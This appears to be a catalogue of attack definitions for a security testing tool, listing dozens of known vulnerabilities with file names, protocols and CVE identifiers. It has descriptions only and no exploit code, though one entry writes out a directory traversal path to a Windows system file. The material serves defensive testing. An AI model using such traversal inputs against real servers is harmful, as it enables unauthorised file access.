Executive Description:	vwdev index.php UID Variable SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted url containing an SQL query which is executed by the server. vwdev is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0651
OSVDB:	22991
Threat File Name:	FSC20090414-14_Microsoft_Windows_WordPad_Word_97_Text_Converter_Buffer_Overflow.xml
Executive Description:	Microsoft Windows WordPad Word 97 Text Converter Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the Word 97 converter shipped with the Microsoft Windows family of operating systems. The flaw is due to a boundary error when processing crafted Word document files. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted Word 97 document with an affected version of WordPad. Successful exploitation can lead to arbitrary code execution within the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged on user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0235
Threat Package:	Standard
Threat File Name:	TSL20170220-01_Trend_Micro_Control_Manager_dlp_policy.php_Directory_Traversal.xml
Executive Description:	Trend Micro Control Manager dlp_policy.php Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in Trend Micro Control Manager. This vulnerability is caused by improper sanitization of directory traversal characters (..) by dlp_policy.php. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted HTTPS requests to the vulnerable server. Successful exploitation results in remote code execution under the security context the Trend Micro Control Manager user.
Protocol Type:	HTTPS

Threat File Name:	ipv6_loopback_IPv6.xml
Executive Description:	IPv6 Loopback Ping (IPv6 Version)
Detailed Description:	This threat sends a ping with a source address of 0000:0000:0000:0000:0000:0000:0000:0001. (IPv6 Version)
Protocol Type:	ICMP6/IPv6
Threat Package:	Standard
Threat File Name:	TSL20110810-02_HP_Easy_Printer_Care_Software_HPTicketMgr_dll_ActiveX_Control_Directory_Traversal_IPv6.xml
Executive Description:	HP Easy Printer Care Software HPTicketMgr.dll ActiveX Control Directory Traversal(IPv6 Version)
Detailed Description:	A directory traversal vulnerability has been identified in HP's Easy Printer Care Software. The vulnerability is due to insufficient input validation by an ActiveX control, which is part of the affected product. A remote attacker could exploit this vulnerability by enticing a target user to view a maliciously crafted web page. This would allow the attacker to overwrite arbitrary files on the target computer with arbitrary content, which could lead to code execution.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-2404
Threat File Name:	TSL20140304-04_Apache_Camel_XSLT_Component_XML_External_Entity.xml
Executive Description:	Apache Camel XSLT Component XML External Entity
Detailed Description:	An XML External Entity (XXE) vulnerability has been reported in Apache Camel. The vulnerability is due to an error in handling XSL stylesheets in the XSLT component. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted XML message to the vulnerable server. Successful exploitation could result in the disclosure of arbitrary files accessible to the server's context, server-side request forgery, and/or policy bypass
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2014-0002
OSVDB:	103916
Threat File Name:	FSC20060718-14_Oracle_Database_SYS_KUPW-WORKER_Package_MAIN_Procedure_SQL_Injection.xml
Executive Description:	Oracle Database SYS.KUPW-WORKER Package MAIN Procedure SQL Injection
Detailed Description:	There exists a SQL injection vulnerability in the Oracle Database products. The flaw can be triggered by crafted call to the Data Pump Metadata API function SYS.KUPW\$WORKER.MAIN, resulting in execution of privileged SQL statements. The attacker must have the necessary privileges to create PL/SQL functions on the target server in order to trigger the vulnerability.
Protocol Type:	Proprietary
Threat Package:	Standard
Threat File Name:	TSL20140123-02_Google_Chrome_XSSAuditor_Filter_Security_Policy_Bypass.xml
Executive Description:	Google Chrome XSSAuditor Filter Security Policy Bypass
Detailed Description:	A policy bypass vulnerability exists in Google Chrome. The vulnerability is due a design weakness in Chrome XSSAuditor. By inserting JavaScript in the srcdoc attribute of an IFRAME tag, the Cross-Site Scripting filter can be bypassed. An attacker can exploit this weakness to further facilitate exploiting known cross-site vulnerabilities.
Protocol Type:	HTTP,HTTPS
OSVDB:	102412
Threat File Name:	fully_modded_phpbb2_rfi_IPv6.xml
Executive Description:	Fully Modded phpBB2 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Fully Modded phpBB2 is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5526
Threat Package:	Standard
Threat File Name:	TSL20130611-11_Microsoft_Internet_Explorer_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer Use After Free
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2013-3118
OSVDB:	94112
Threat File Name:	TSL20140616-01_PHP_php_parserr_DNS_TXT_Hea_Buffer_Overflow_IPv6.xml
Executive Description:	PHP php_parserr DNS_TXT Heap Buffer Overflow IPv6 version.
Detailed Description:	A heap buffer vulnerability exists in the php_parserr() function in PHP. The vulnerability is due to an error in parsing malformed DNS TXT records. >An attacker can exploit this vulnerability if the application uses the vulnerable function. A successful attack can allow arbitrary code execution in the context of the PHP application. An unsuccessful attack will result in a denial of service condition.
Protocol Type:	DNS.IPV6
CVEID:	CVE-2014-4049
OSVDB:	107994
Threat File Name:	mercurl.xml
Executive Description:	Mercur Mail POP3 Buffer Overflow
Detailed Description:	This threat sends a POP3 buffer overflow payload directed at certain vulnerable versions of Mercur Mail Server. Is known to cause crashes and be used for remote code execution.
Protocol Type:	POP3
CVEID:	CVE-2000-0198
OSVDB:	12036
Threat Package:	Standard
Threat File Name:	TSL20150630-05_Apple_QuickTime_MP4_Absent_stbl_Box_Memory_Corruption_IPv6.xml
Executive Description:	Apple QuickTime MP4 Absent stbl Box Memory Corruption(IPv6 version)

Detailed Description:	A memory corruption vulnerability has been reported in Apple QuickTime. The vulnerability is due to an issue with processing corrupted MPEG-4 (MP4) files. A remote attacker could exploit this vulnerability by enticing a user to open a malicious .MP4 file. Successful exploitation could lead to arbitrary code execution under the security context of the currently logged on user.
Protocol Type:	HTTPS, HTTP, IMAP, POP3, SMB/CIFS, SMTP, NFS, IPV6
CVEID:	CVE-2015-3667
Threat File Name:	piecartpro_incdirc_rfi.xml
Executive Description:	Pie Cart Pro => (Inc_Dir) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Pie Cart Pro is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20071126-21_Mozilla_Firefox_Layout_Frame_Constructor_Memory_Corruption.xml
Executive Description:	Mozilla Firefox Layout Frame Constructor Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Firefox products. The flaw is due to improper handling of certain HTML elements in the layout component. A remote attacker can exploit this vulnerability by persuading the target user to open a malicious webpage. Successful attack could allow for arbitrary code injection and execution with the privileges of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2007-5959
Threat Package:	Standard
Threat File Name:	FSC20090210-13_Microsoft_Office_Visio_Object_ID_Table_Memory_Corruption.xml
Executive Description:	Microsoft Office Visio Object ID Table Memory Corruption
Detailed Description:	Microsoft Office Visio is designed to assist business and IT designers to visualize, explore, and communicate complex information visually. A vulnerability has been reported in Microsoft Office Visio that could be exploited by remote attackers to compromise a vulnerable system. The vulnerability is due to a validation error in Microsoft Office Visio, specifically when parsing a specially crafted document. Remote attackers could exploit this vulnerability by sending a maliciously crafted file which could be included as an e-mail attachment, or hosted on a specially crafted or compromised Web site. Successful exploitation would allow the attackers to execute arbitrary code in the context of the logged-on user.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMB, CIFS, SMTP
CVEID:	CVE-2009-0097
Threat Package:	Standard
Threat File Name:	TSL20140812-19_Microsoft_Internet_Explorer_CVE-2014-2820_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-2820 Use After Free IPv6 Version
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS, IPV6
CVEID:	CVE-2014-2820
OSVDB:	109951
Threat File Name:	ksignswat_activex_bof_IPv6.xml
Executive Description:	KSign KSignSWAT <= 2.0.3.3 ActiveX Control Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the KSignSWAT ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPV6
CVEID:	CVE-2007-2820
Threat Package:	Standard
Threat File Name:	TSL20121129-02_Sophos_Anti-Virus_RAR_VMSF_RGB_Filter_Parsing_Integer_Underflow_IPv6.xml
Executive Description:	Sophos Anti-Virus RAR VMSF_RGB Filter Parsing Integer Underflow(IPV6 Version)
Detailed Description:	An integer underflow vulnerability exists in Sophos Anti-Virus. The vulnerability is due to insufficient validation of one of the parameters of the VMSF_RGB filter while parsing RAR files. The vulnerable code calculates new values from this parameter resulting in a buffer overflow. A remote attacker could exploit this vulnerability by causing Sophos Anti-Virus to process a specially crafted RAR file. Successful exploitation could result in arbitrary code execution in the context of the affected service, which is SYSTEM by default.
Protocol Type:	IPV6, HTTP, HTTPS, SMTP, IMAP, POP3, SMB/CIFS, NFS
OSVDB:	87061
Threat File Name:	TSL20151023-03_Network_Time_Protocol_Daemon_decodenetnum_Assertion_Failure.xml
Executive Description:	Network Time Protocol Daemon decodenetnum Assertion Failure
Detailed Description:	A denial-of-service vulnerability exists in the Network Time Protocol daemon (NTPD). The vulnerability is due to an assertion failure that can occur in decodenetnum() when NTPD receives certain crafted packets. A remote, authenticated attacker can exploit this vulnerability by sending a crafted NTP request to the vulnerable service. Successful exploitation can cause the NTP process to terminate with an assertion failure, leading to a denial-of-service condition. Tester should set variable \$destPort to 123 before test.
Protocol Type:	NTP
CVEID:	CVE-2015-7855
Threat File Name:	FSC20071105-19_Apple_QuickTime_PICT_Image_Poly_Structure_Memory_Corruption_IPv6.xml
Executive Description:	Apple QuickTime PICT Image Poly Structure Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Apple QuickTime. The vulnerability is due to boundary errors when processing PICT image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted PICT image file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPV6
CVEID:	CVE-2007-4676

Threat Package:	Standard
Threat File Name:	FSC20101012-32_Microsoft_Office_Excel_MergeCells_Record_Parsing_Code_Execution.xml
Executive Description:	Microsoft Office Excel MergeCells Record Parsing Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to improper parsing of <i><MergeCells></i> Excel record in an Excel document that potentially allows for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of memory corruption.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3237
Threat Package:	Standard
Threat File Name:	eCentrex_voip_activex_bof.xml
Executive Description:	eCentrex VOIP Client module (uacomx.ocx 2.0.1) Remote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the eCentrex VOIP Client UACOMX.OCX ActiveX Control, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4489
Threat Package:	Standard
Threat File Name:	neotracepro_activex_bof.xml
Executive Description:	NeoTracePro 3.25 ActiveX TraceTarget() Remote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the NeoTracePro ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6707
Threat Package:	Standard
Threat File Name:	FSC20090106-05_RealNetworks_Helix_Server_RTSP_SET_PARAMETER_Heap_Buffer_Overflow.xml
Executive Description:	RealNetworks Helix Server RTSP SET_PARAMETER Heap Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way RealNetworks Helix Server handles RTSP requests. Remote unauthenticated attackers can exploit this vulnerability by sending a malicious RTSP SET_PARAMETER request to the affected server. As a result of processing the malicious command, a heap-based buffer overflow can be triggered which may result in injection and execution of arbitrary code within the security privileges of the vulnerable service on the target system. In the case of an attack where code injection is unsuccessful, the Helix Server service will consume large amounts of CPU time and enter into a denial of service condition. Currently connected sessions will become unstable and may be closed. Furthermore, the functionality of all the services that depend on the vulnerable service might be affected as well. In the case where code injection was successful, the behaviour of the system will be entirely dependent on the nature of the injected code. Any code executed will be with the the security privileges of the vulnerable service, normally System.
Protocol Type:	RTSP
Threat Package:	Standard
Threat File Name:	TSL20170713-02_Nginx_ngx_http_range_filter_module_Integer_Overflow_IPv6.xml
Executive Description:	Nginx ngx_http_range_filter_module Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability has been reported in Nginx. The vulnerability is due to insufficient validation of requested byte ranges in ngx_http_range_filter_module.c. A remote attacker can exploit this vulnerability by sending a crafted HTTP request to the target application. Successful exploitation could result in information disclosure.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-7529
Threat File Name:	Mercury_IMAP_bof.xml
Executive Description:	Mercury IMAP Buffer Overflow Attack
Detailed Description:	This threat attempts to spawn a shell on a remote machine running Mercury IMAP. Connects to the IMAP service, which runs on port 143.
Protocol Type:	IMAP
CVEID:	CVE-2004-2513
Threat Package:	Standard
Threat File Name:	net-worm_IPv6.xml
Executive Description:	Net-Worm.Linux.Mare.E worm HTTP Payload Vulnerability (IPv6 Version)
Detailed Description:	This threat is a capture of the Net-Worm.Linux.Mare.E Worm being downloaded as the worm would normally do after infection of a target machine. Worm.Linux.Mare.E is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	cm68_news_rfi.xml
Executive Description:	CM68 News Oldnews.Inc.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. CM68 News is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6462
Threat Package:	Standard
Threat File Name:	IPv6OverIPv4.xml
Executive Description:	IPv6 Tunneled Through IPv4
Detailed Description:	This threat represents an ICMP ping packet nested inside of an IPv6 packet tunneled through IPv4. If IPv6 traffic is unexpected, this traffic can be considered an anomaly and a possible backdoor.
Protocol Type:	IP
Threat Package:	Standard
Threat File Name:	TCP_frag_IPv6.xml
Executive Description:	TCP FRAG Attack (IPv6 Version)

Detailed Description:	This attack is based of the Imperfect Networks Incremental Frag attack. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	ms05-020HOSTNAME_IPv6.xml
Executive Description:	MS05-020 IE Long Hostname Memory Corruption (IPv6 Version)
Detailed Description:	This threat allows an attacker to possible control a single byte of memory through sending a overly long hostname through Internet Explorer. This is done by using a href link of over 256 characters long. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0554
OSVDB:	15464
Threat Package:	Standard
Threat File Name:	FSC20110208-31_Microsoft_Office_Visio_Data_Type_Memory_Corruption.xml
Executive Description:	Microsoft Office Visio Data Type Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Visio. The vulnerability is due to an error while validating objects in memory. A remote attacker can exploit this vulnerability by enticing a user to open a malicious file with an affected version of Microsoft Visio. In attack scenarios where code execution is successful the behaviour of the target machine is dependent entirely on the intention of the injected code, which will run within the security context of the target user. When code execution is not successful the affected application may terminate abnormally. Note: TELUS Security Labs team has not been able to reproduce this vulnerability during the contractual research period.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2011-0093
Threat File Name:	FSC20100810-11_Microsoft_Windows_SMB_Pool_Overflow_Code_Execution.xml
Executive Description:	Microsoft Windows SMB Pool Overflow Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Windows Server Message Block (SMB) protocol service. The vulnerability is due to improper input validation of fields supplied in an SMB request by the Microsoft SMB implementation. This vulnerability may be exploited by remote unauthenticated attackers to execute arbitrary code on the target system. In situations where code execution is successful the injected code will run within the security context of the SYSTEM user, leading to a complete compromise of the target system.
Protocol Type:	SMB
CVEID:	CVE-2010-2550
Threat Package:	Standard
Threat File Name:	FSC20071031-15_Macrovision_InstallShield_Update_Service_ActiveX_Control_Code_Execution.xml
Executive Description:	Macrovision InstallShield Update Service ActiveX Control Code Execution
Detailed Description:	There exists an access control weakness vulnerability in Macrovision InstallShield Update Service ActiveX Control isusweb.dll. The vulnerability is due to a design error while processing webpage scripts. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be executed in the security context of the currently logged in user.
Protocol Type:	TCP
CVEID:	CVE-2007-5660
Threat Package:	Standard
Threat File Name:	TSL20120110-04_Microsoft_Windows_Media_MIDI_File_Memory_Corruption.xml
Executive Description:	Microsoft Windows Media MIDI File Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in the Microsoft Windows Multimedia library. The vulnerability is due to an error while parsing specially crafted MIDI files. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted MIDI file. Successful exploitation could lead to code execution in the enticed user's security context.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,FTP
CVEID:	CVE-2012-0003
Threat File Name:	TSL20170303-05_Microsoft_Graphics_Device_Interface_CVE-2017-0038_Information_Disclosure.xml
Executive Description:	Microsoft Graphics Device Interface CVE-2017-0038 Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the GDI+ component of Microsoft Windows. The vulnerability is due to a failure in handling device independent bitmaps (DIB) embedded in EMF records. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted file. Successful exploitation could result in the disclosure of information that can be used to circumvent Address Space Layout Randomization (ASLR) in Windows.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2017-0038
Threat File Name:	FSC20080409-02_HP_OpenView_Network_Node_Manager_ovw_dll_Message_Handling_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager ovw.dll Message Handling Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager multiple Services. The flaw is due to a boundary error when processing user requests. A remote unauthenticated attacker can send a crafted request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected service, which is normally System on Windows platforms.
Protocol Type:	CBT
Threat Package:	Standard
Threat File Name:	exim_spa_IPv6.xml
Executive Description:	EXIM SPA Buffer Overflow (IPv6 Version)
Detailed Description:	This threat attempts to cause code execution on the EXIM MTA daemon. EXIM is a mailserver, and typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-0022
OSVDB:	12727
Threat Package:	Standard

Threat File Name:	phpbbauction_cmi.xml
Executive Description:	phpBB auction mod - Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted HTTP GET query which allows arbitrary inclusion of PHP or HTML code via the phpbb_root_path parameter. phpBB is a web application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ftp_buffer_overflow_129.xml
Executive Description:	FTP Buffer Overflow [129] Attack
Detailed Description:	This generic threat sends a long buffer [129 bytes] against an FTP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	FSC20091214-09_HP_OpenView_Network_Node_Manager_ovlogin.exe_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager ovlogin.exe Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in ovlogin.exe when processing the userid and passwd parameters sent in a HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the Internet Guest Account. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3846
Threat Package:	Standard
Threat File Name:	FSC20100510-01_RedHat_JBoss_Enterprise_Application_Platform_JMX_Console_Authentication_Bypass.xml
Executive Description:	RedHat JBoss Enterprise Application Platform JMX Console Authentication Bypass
Detailed Description:	An authentication bypass vulnerability has been reported in JBoss Enterprise Application Platform JMX Console application. The vulnerability is caused by the authentication policy within the application that only enforces restrictions for GET and POST methods, other HTTP request verbs bypass authentication. Unauthenticated remote attackers could exploit this vulnerability to gain administrative access to JBoss JMX management console and to upload and execute arbitrary Java code within the security context of the JBoss server process, normally SYSTEM on Windows platforms.
Protocol Type:	HTTP
CVEID:	CVE-2010-0738
Threat Package:	Standard
Threat File Name:	FSC20060331-02_Microsoft_Windows_Help_File_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Help File Heap Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Windows. The vulnerability is caused by the improper parsing of malformed .hlp file in the Windows Help system. An attacker may exploit this vulnerability by enticing a user to open a crafted Windows help file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1591
Threat Package:	Standard
Threat File Name:	FSC20091013-05_Microsoft_Windows_GDIplus_PNG_Processing_Integer_Overflow.xml
Executive Description:	Microsoft Windows GDIplus PNG Processing Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows GDI+ that could allow remote code execution. The vulnerability is due to the way that Microsoft Windows GDI+ allocates memory when processing Interlaced PNG files. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted PNG file. In the case of successful code injection and execution, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be executed with the privileges of the currently logged in user. In the case where code execution is not successful, the application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-3126
Threat Package:	Standard
Threat File Name:	TSL20130531-01_Linux_Kernel_iscsi_add_notunderstood_response_Heap_Buffer_Overflow.xml
Executive Description:	Linux Kernel iscsi_add_notunderstood_response Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability has been reported in the Linux Kernel. The vulnerability is in the iscsi_add_notunderstood_response() function in the iscsi_target driver and is due to the way a notunderstood response is created after processing very long keys. A remote, unauthenticated attacker can exploit this vulnerability by sending an overly long key. A successful attack can result in arbitrary code execution with kernel privileges. An unsuccessful attack will cause the kernel to crash resulting in a denial-of-service condition.
Protocol Type:	iSCSI
CVEID:	CVE-2013-2850
OSVDB:	93755
Threat File Name:	directory_travel.xml
Executive Description:	Directory Traversal
Detailed Description:	This threat connects to a webserver and attempts to download an arbitrary file [../../../.././boot.ini].
Protocol Type:	HTTP
OSVDB:	13938
Threat Package:	Standard
Threat File Name:	ruby_dos_IPv6.xml
Executive Description:	Ruby On Rails Denial Of Service (IPv6 Version)

Detailed Description:	This threat sends a malicious URL known to cause a crash in the Ruby on Rails server. This is done by sending a request for an object loaded in memory but not intended on being located there. Ruby on Rails is a webserver framework, and would typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040205-01_Checkpoint_Firewall-1_HTTP_Parsing_Format_String_Vulnerabilities_IPv6.xml
Executive Description:	Checkpoint Firewall-1 HTTP Parsing Format String Vulnerabilities (IPv6 Version)
Detailed Description:	A vulnerability exists in the HTTP protocol parser used by several components of Check Point Firewall-1. The vulnerability can be triggered by sending certain malformed fields in an HTTP request, and may be exploited to crash the firewall or to execute code of the attacker's choice on the firewall. This vulnerability has been described as a format-string problem, however, it has been found that format specifiers are not required to trigger the vulnerability. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0039
Threat Package:	Standard
Threat File Name:	TSL20130917-06_Microsoft_Internet_Explorer_onlosecaputre_Event_Use-After-Free.xml
Executive Description:	Microsoft Internet Explorer onlosecaputre Event Use-After-Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way onlosecapture events are handled. A remote attacker could exploit these vulnerabilities by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3893
OSVDB:	97380
Threat File Name:	TSL20130527-06_Apache_Struts_URL_and_Anchor_tag_includeParams_OGNL_Command_Execution.xml
Executive Description:	Apache Struts URL and Anchor tag includeParams OGNL Command Execution
Detailed Description:	A command execution vulnerability exists in Apache Struts Object-Graph Navigation Language (OGNL) expressions. The vulnerability is due to the way parameters passed via Struts s:a and s:url tags to the server are evaluated by OGNL when the includeParams field is "get" or "all". The url/a tags resolve every parameter passed to them, allowing arbitrary OGNL expressions encoded into the URL to be evaluated bypassing both Struts and OGNL library protections. A remote attacker could exploit this vulnerability by sending crafted HTTP requests to a server using a vulnerable version of the software. Successful exploitation will allow an attacker to execute arbitrary commands in the context of the server.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-2115
OSVDB:	93645
Threat File Name:	TSL20130725-14_HP_LoadRunner_micWebAjax.dll_ActiveX_Control_Stack_Buffer_Overflow.xml
Executive Description:	HP LoadRunner micWebAjax.dll ActiveX Control Stack Buffer Overflow
Detailed Description:	An stack buffer overflow vulnerability exists in HP LoadRunner. The vulnerability is due to insufficient bounds checking on NotifyEventmethod parameters. The application copies the parameters into a fixed size stack buffer, which can be overflowed. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution within security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-CVE-2013-2368
OSVDB:	95639
Threat File Name:	galleria_rfi.xml
Executive Description:	Galleria Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Mambo Galleria is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-3396
OSVDB:	27010
Threat Package:	Standard
Threat File Name:	FSC20090115-06_Oracle_Secure_Backup_NDMP_CONNECT_CLIENT_AUTH_Command_Buffer_Overflow.xml
Executive Description:	Oracle Secure Backup NDMP CONNECT_CLIENT_AUTH Command Buffer Overflow
Detailed Description:	There is a buffer overflow vulnerability in Oracle Secure Backup. The flaw is due to insufficient boundary checking when processing NDMP requests sent to program obndmpd.exe. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process, with System level privileges.
Protocol Type:	NDMP
CVEID:	CVE-2008-5444
Threat Package:	Standard
Threat File Name:	FSC20070214-18_Microsoft_Word_Document_Stream_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Word Document Stream Handling Code Execution (IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in the way Microsoft Word processes files. The vulnerability is a result of insufficient boundary checking while processing the WordDocument (or Main) stream. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Word file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0870
Threat Package:	Standard
Threat File Name:	FSC20090609-22_Microsoft_Office_Excel_Binary_Format_Parsing_Integer_Overflow.xml
Executive Description:	Microsoft Office Excel Binary Format Parsing Integer Overflow
Detailed Description:	A integer overflow vulnerability exists in Microsoft Excel products. The vulnerability is due to improper parsing of an Excel file that includes a malformed object. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0561
Threat Package:	Standard
Threat File Name:	nivisec_a_rfi_IPv6.xml
Executive Description:	Nivisec Admin Topic Action Logging Module Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Nivisec is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150408-09_OpenLDAP_slapd_Deref_Overlay_Null_Pointer_Dereference.xml
Executive Description:	OpenLDAP slapd Deref Overlay Null Pointer Dereference
